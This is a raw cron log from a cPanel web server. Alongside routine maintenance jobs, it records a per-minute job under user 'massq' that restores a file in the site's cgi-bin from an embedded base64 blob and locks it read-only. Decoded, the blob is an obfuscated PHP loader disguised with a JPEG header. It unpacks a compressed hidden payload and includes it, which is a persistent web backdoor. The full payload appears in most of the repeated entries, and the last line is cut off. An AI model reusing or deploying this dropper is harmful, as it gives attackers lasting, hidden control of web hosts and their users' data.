Sep  1 05:00:01 server CROND[18303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:00:01 server CROND[18304]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:00:01 server CROND[18312]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:00:01 server CROND[18309]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:00:01 server CROND[18307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:00:01 server CROND[18305]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/mailpasswds)
Sep  1 05:00:01 server CROND[18311]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 05:00:01 server CROND[18306]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:01:01 server CROND[19249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:01:01 server CROND[19251]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 05:01:01 server CROND[19252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:01:01 server CROND[19250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:01:01 server run-parts(/etc/cron.hourly)[19251]: starting 0anacron
Sep  1 05:01:01 server run-parts(/etc/cron.hourly)[19270]: finished 0anacron
Sep  1 05:02:01 server CROND[19728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:02:01 server CROND[19727]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:02:01 server CROND[19729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:03:01 server CROND[20116]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:03:01 server CROND[20117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:03:01 server CROND[20118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:04:01 server CROND[20493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:04:01 server CROND[20494]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:04:01 server CROND[20495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:05:01 server CROND[20884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:05:01 server CROND[20885]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:05:01 server CROND[20888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 05:05:01 server CROND[20898]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:05:01 server CROND[20899]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  1 05:05:01 server CROND[20902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:05:01 server CROND[20900]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:05:01 server CROND[20901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:05:01 server CROND[20903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:06:01 server CROND[21708]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:06:01 server CROND[21709]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:06:01 server CROND[21710]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:07:01 server CROND[22201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:07:01 server CROND[22202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:07:01 server CROND[22203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:08:01 server CROND[22613]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:08:01 server CROND[22614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:08:01 server CROND[22615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:09:01 server CROND[23189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:09:01 server CROND[23191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:09:01 server CROND[23190]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 05:09:01 server CROND[23192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:10:01 server CROND[23573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 05:10:01 server CROND[23574]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 05:10:01 server CROND[23584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 05:10:01 server CROND[23587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 05:10:01 server CROND[23597]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 05:10:01 server CROND[23598]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 05:10:01 server CROND[23599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 05:10:01 server CROND[23595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:11:01 server CROND[24411]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 05:11:01 server CROND[24412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk